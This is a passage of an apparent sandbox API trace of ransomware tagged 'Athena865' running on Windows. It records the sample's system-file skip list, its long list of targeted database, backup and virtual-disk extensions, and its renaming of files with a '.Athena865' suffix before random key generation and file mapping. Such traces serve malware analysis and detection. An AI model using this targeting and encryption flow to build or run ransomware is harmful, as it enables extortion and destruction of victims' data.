lpString2="dbb") returned 1 [0060.922] lstrlenW (lpString="vmdk") returned 4 [0060.922] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0060.922] lstrlenW (lpString="rar") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0060.922] lstrlenW (lpString="zip") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0060.922] lstrlenW (lpString="tgz") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0060.922] lstrlenW (lpString="vbox") returned 4 [0060.922] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0060.922] lstrlenW (lpString="vdi") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0060.922] lstrlenW (lpString="vhd") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0060.922] lstrlenW (lpString="vhdx") returned 4 [0060.922] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0060.922] lstrlenW (lpString="avhd") returned 4 [0060.922] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0060.922] lstrlenW (lpString="db") returned 2 [0060.922] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0060.922] lstrlenW (lpString="db2") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0060.922] lstrlenW (lpString="db3") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0060.922] lstrlenW (lpString="dbf") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0060.922] lstrlenW (lpString="mdf") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0060.922] lstrlenW (lpString="mdb") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0060.923] lstrlenW (lpString="sql") returned 3 [0060.923] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0060.923] lstrlenW (lpString="sqlite") returned 6 [0060.923] lstrcmpiW (lpString1="WW.xml", lpString2="sqlite") returned 1 [0060.923] lstrlenW (lpString="sqlite3") returned 7 [0060.923] lstrcmpiW (lpString1="rWW.xml", lpString2="sqlite3") returned -1 [0060.923] lstrlenW (lpString="sqlitedb") returned 8 [0060.923] lstrcmpiW (lpString1="srWW.xml", lpString2="sqlitedb") returned 1 [0060.923] lstrlenW (lpString="xml") returned 3 [0060.923] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0060.923] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.Athena865") returned 87 [0060.923] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.athena865"), dwFlags=0x1) returned 1 [0060.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.924] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16852) returned 1 [0060.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.924] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.925] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.925] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.925] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44e0, lpName=0x0) returned 0x17c [0060.927] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44e0) returned 0x100000 [0060.930] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.931] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.931] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.932] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0060.932] CloseHandle (hObject=0x17c) returned 1 [0060.932] CloseHandle (hObject=0x154) returned 1 [0060.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.932] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0060.932] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.932] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.932] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".") returned 1 [0060.932] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="..") returned 1 [0060.932] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="windows") returned -1 [0060.932] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="bootmgr") returned 1 [0060.932] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="temp") returned -1 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="pagefile.sys") returned 1 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="boot") returned 1 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="ids.txt") returned 1 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="ntuser.dat") returned 1 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="perflogs") returned 1 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="MSBuild") returned 1 [0060.933] lstrlenW (lpString="ProPrWW.cab") returned 11 [0060.933] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ProPrWW.cab" | out: lpString1="ProPrWW.cab") returned="ProPrWW.cab" [0060.933] lstrlenW (lpString="ProPrWW.cab") returned 11 [0060.933] lstrlenW (lpString="Athena865") returned 9 [0060.933] lstrcmpiW (lpString1="oPrWW.cab", lpString2="Athena865") returned 1 [0060.933] lstrlenW (lpString=".dll") returned 4 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".dll") returned 1 [0060.933] lstrlenW (lpString=".lnk") returned 4 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".lnk") returned 1 [0060.933] lstrlenW (lpString=".ini") returned 4 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".ini") returned 1 [0060.933] lstrlenW (lpString=".sys") returned 4 [0060.933] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".sys") returned 1 [0060.933] lstrlenW (lpString="ProPrWW.cab") returned 11 [0060.933] lstrlenW (lpString="bak") returned 3 [0060.933] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0060.933] lstrlenW (lpString="ba_") returned 3 [0060.933] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0060.933] lstrlenW (lpString="dbb") returned 3 [0060.933] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0060.933] lstrlenW (lpString="vmdk") returned 4 [0060.933] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0060.933] lstrlenW (lpString="rar") returned 3 [0060.933] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0060.933] lstrlenW (lpString="zip") returned 3 [0060.933] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0060.933] lstrlenW (lpString="tgz") returned 3 [0060.933] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0060.934] lstrlenW (lpString="vbox") returned 4 [0060.934] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0060.934] lstrlenW (lpString="vdi") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0060.934] lstrlenW (lpString="vhd") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0060.934] lstrlenW (lpString="vhdx") returned 4 [0060.934] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0060.934] lstrlenW (lpString="avhd") returned 4 [0060.934] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0060.934] lstrlenW (lpString="db") returned 2 [0060.934] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0060.934] lstrlenW (lpString="db2") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0060.934] lstrlenW (lpString="db3") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0060.934] lstrlenW (lpString="dbf") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0060.934] lstrlenW (lpString="mdf") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0060.934] lstrlenW (lpString="mdb") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0060.934] lstrlenW (lpString="sql") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0060.934] lstrlenW (lpString="sqlite") returned 6 [0060.934] lstrcmpiW (lpString1="WW.cab", lpString2="sqlite") returned 1 [0060.934] lstrlenW (lpString="sqlite3") returned 7 [0060.934] lstrcmpiW (lpString1="rWW.cab", lpString2="sqlite3") returned -1 [0060.934] lstrlenW (lpString="sqlitedb") returned 8 [0060.934] lstrcmpiW (lpString1="PrWW.cab", lpString2="sqlitedb") returned -1 [0060.934] lstrlenW (lpString="xml") returned 3 [0060.934] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0060.934] lstrlenW (lpString="$er") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0060.935] lstrlenW (lpString="4dd") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0060.935] lstrlenW (lpString="4dl") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0060.935] lstrlenW (lpString="^^^") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0060.935] lstrlenW (lpString="abs") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0060.935] lstrlenW (lpString="abx") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0060.935] lstrlenW (lpString="accdb") returned 5 [0060.935] lstrcmpiW (lpString1="W.cab", lpString2="accdb") returned 1 [0060.935] lstrlenW (lpString="accdc") returned 5 [0060.935] lstrcmpiW (lpString1="W.cab", lpString2="accdc") returned 1 [0060.935] lstrlenW (lpString="accde") returned 5 [0060.935] lstrcmpiW (lpString1="W.cab", lpString2="accde") returned 1 [0060.935] lstrlenW (lpString="accdr") returned 5 [0060.935] lstrcmpiW (lpString1="W.cab", lpString2="accdr") returned 1 [0060.935] lstrlenW (lpString="accdt") returned 5 [0060.935] lstrcmpiW (lpString1="W.cab", lpString2="accdt") returned 1 [0060.935] lstrlenW (lpString="accdw") returned 5 [0060.935] lstrcmpiW (lpString1="W.cab", lpString2="accdw") returned 1 [0060.935] lstrlenW (lpString="accft") returned 5 [0060.935] lstrcmpiW (lpString1="W.cab", lpString2="accft") returned 1 [0060.935] lstrlenW (lpString="adb") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0060.935] lstrlenW (lpString="adb") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0060.935] lstrlenW (lpString="ade") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0060.935] lstrlenW (lpString="adf") returned 3 [0060.935] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0060.936] lstrlenW (lpString="adn") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0060.936] lstrlenW (lpString="adp") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0060.936] lstrlenW (lpString="alf") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0060.936] lstrlenW (lpString="ask") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0060.936] lstrlenW (lpString="btr") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0060.936] lstrlenW (lpString="cat") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0060.936] lstrlenW (lpString="cdb") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0060.936] lstrlenW (lpString="ckp") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0060.936] lstrlenW (lpString="cma") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0060.936] lstrlenW (lpString="cpd") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0060.936] lstrlenW (lpString="dacpac") returned 6 [0060.936] lstrcmpiW (lpString1="WW.cab", lpString2="dacpac") returned 1 [0060.936] lstrlenW (lpString="dad") returned 3 [0060.936] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0060.936] lstrlenW (lpString="dadiagrams") returned 10 [0060.936] lstrcmpiW (lpString1="roPrWW.cab", lpString2="dadiagrams") returned 1 [0060.936] lstrlenW (lpString="daschema") returned 8 [0060.936] lstrcmpiW (lpString1="PrWW.cab", lpString2="daschema") returned 1 [0060.936] lstrlenW (lpString="db-journal") returned 10 [0060.936] lstrcmpiW (lpString1="roPrWW.cab", lpString2="db-journal") returned 1 [0060.936] lstrlenW (lpString="db-shm") returned 6 [0060.936] lstrcmpiW (lpString1="WW.cab", lpString2="db-shm") returned 1 [0060.937] lstrlenW (lpString="db-wal") returned 6 [0060.937] lstrcmpiW (lpString1="WW.cab", lpString2="db-wal") returned 1 [0060.937] lstrlenW (lpString="dbc") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0060.937] lstrlenW (lpString="dbs") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0060.937] lstrlenW (lpString="dbt") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0060.937] lstrlenW (lpString="dbv") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0060.937] lstrlenW (lpString="dbx") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0060.937] lstrlenW (lpString="dcb") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0060.937] lstrlenW (lpString="dct") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0060.937] lstrlenW (lpString="dcx") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0060.937] lstrlenW (lpString="ddl") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0060.937] lstrlenW (lpString="dlis") returned 4 [0060.937] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0060.937] lstrlenW (lpString="dp1") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0060.937] lstrlenW (lpString="dqy") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0060.937] lstrlenW (lpString="dsk") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0060.937] lstrlenW (lpString="dsn") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0060.937] lstrlenW (lpString="dtsx") returned 4 [0060.937] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0060.937] lstrlenW (lpString="dxl") returned 3 [0060.937] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0060.938] lstrlenW (lpString="eco") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0060.938] lstrlenW (lpString="ecx") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0060.938] lstrlenW (lpString="edb") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0060.938] lstrlenW (lpString="epim") returned 4 [0060.938] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0060.938] lstrlenW (lpString="fcd") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0060.938] lstrlenW (lpString="fdb") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0060.938] lstrlenW (lpString="fic") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0060.938] lstrlenW (lpString="flexolibrary") returned 12 [0060.938] lstrlenW (lpString="fm5") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0060.938] lstrlenW (lpString="fmp") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0060.938] lstrlenW (lpString="fmp12") returned 5 [0060.938] lstrcmpiW (lpString1="W.cab", lpString2="fmp12") returned 1 [0060.938] lstrlenW (lpString="fmpsl") returned 5 [0060.938] lstrcmpiW (lpString1="W.cab", lpString2="fmpsl") returned 1 [0060.938] lstrlenW (lpString="fol") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0060.938] lstrlenW (lpString="fp3") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0060.938] lstrlenW (lpString="fp4") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0060.938] lstrlenW (lpString="fp5") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0060.938] lstrlenW (lpString="fp7") returned 3 [0060.938] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0060.938] lstrlenW (lpString="fpt") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0060.939] lstrlenW (lpString="frm") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0060.939] lstrlenW (lpString="gdb") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0060.939] lstrlenW (lpString="gdb") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0060.939] lstrlenW (lpString="grdb") returned 4 [0060.939] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0060.939] lstrlenW (lpString="gwi") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0060.939] lstrlenW (lpString="hdb") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0060.939] lstrlenW (lpString="his") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0060.939] lstrlenW (lpString="ib") returned 2 [0060.939] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0060.939] lstrlenW (lpString="idb") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0060.939] lstrlenW (lpString="ihx") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0060.939] lstrlenW (lpString="itdb") returned 4 [0060.939] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0060.939] lstrlenW (lpString="itw") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0060.939] lstrlenW (lpString="jet") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0060.939] lstrlenW (lpString="jtx") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0060.939] lstrlenW (lpString="kdb") returned 3 [0060.939] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0060.939] lstrlenW (lpString="kexi") returned 4 [0060.939] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0060.940] lstrlenW (lpString="kexic") returned 5 [0060.940] lstrcmpiW (lpString1="W.cab", lpString2="kexic") returned 1 [0060.940] lstrlenW (lpString="kexis") returned 5 [0060.940] lstrcmpiW (lpString1="W.cab", lpString2="kexis") returned 1 [0060.940] lstrlenW (lpString="lgc") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0060.940] lstrlenW (lpString="lwx") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0060.940] lstrlenW (lpString="maf") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0060.940] lstrlenW (lpString="maq") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0060.940] lstrlenW (lpString="mar") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0060.940] lstrlenW (lpString="marshal") returned 7 [0060.940] lstrcmpiW (lpString1="rWW.cab", lpString2="marshal") returned 1 [0060.940] lstrlenW (lpString="mas") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0060.940] lstrlenW (lpString="mav") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0060.940] lstrlenW (lpString="maw") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0060.940] lstrlenW (lpString="mdbhtml") returned 7 [0060.940] lstrcmpiW (lpString1="rWW.cab", lpString2="mdbhtml") returned 1 [0060.940] lstrlenW (lpString="mdn") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0060.940] lstrlenW (lpString="mdt") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0060.940] lstrlenW (lpString="mfd") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0060.940] lstrlenW (lpString="mpd") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0060.940] lstrlenW (lpString="mrg") returned 3 [0060.940] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0060.941] lstrlenW (lpString="mud") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0060.941] lstrlenW (lpString="mwb") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0060.941] lstrlenW (lpString="myd") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0060.941] lstrlenW (lpString="ndf") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0060.941] lstrlenW (lpString="nnt") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0060.941] lstrlenW (lpString="nrmlib") returned 6 [0060.941] lstrcmpiW (lpString1="WW.cab", lpString2="nrmlib") returned 1 [0060.941] lstrlenW (lpString="ns2") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0060.941] lstrlenW (lpString="ns3") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0060.941] lstrlenW (lpString="ns4") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0060.941] lstrlenW (lpString="nsf") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0060.941] lstrlenW (lpString="nv") returned 2 [0060.941] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0060.941] lstrlenW (lpString="nv2") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0060.941] lstrlenW (lpString="nwdb") returned 4 [0060.941] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0060.941] lstrlenW (lpString="nyf") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0060.941] lstrlenW (lpString="odb") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0060.941] lstrlenW (lpString="odb") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0060.941] lstrlenW (lpString="oqy") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0060.941] lstrlenW (lpString="ora") returned 3 [0060.941] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0060.942] lstrlenW (lpString="orx") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0060.942] lstrlenW (lpString="owc") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0060.942] lstrlenW (lpString="p96") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0060.942] lstrlenW (lpString="p97") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0060.942] lstrlenW (lpString="pan") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0060.942] lstrlenW (lpString="pdb") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0060.942] lstrlenW (lpString="pdm") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0060.942] lstrlenW (lpString="pnz") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0060.942] lstrlenW (lpString="qry") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0060.942] lstrlenW (lpString="qvd") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0060.942] lstrlenW (lpString="rbf") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0060.942] lstrlenW (lpString="rctd") returned 4 [0060.942] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0060.942] lstrlenW (lpString="rod") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0060.942] lstrlenW (lpString="rodx") returned 4 [0060.942] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0060.942] lstrlenW (lpString="rpd") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 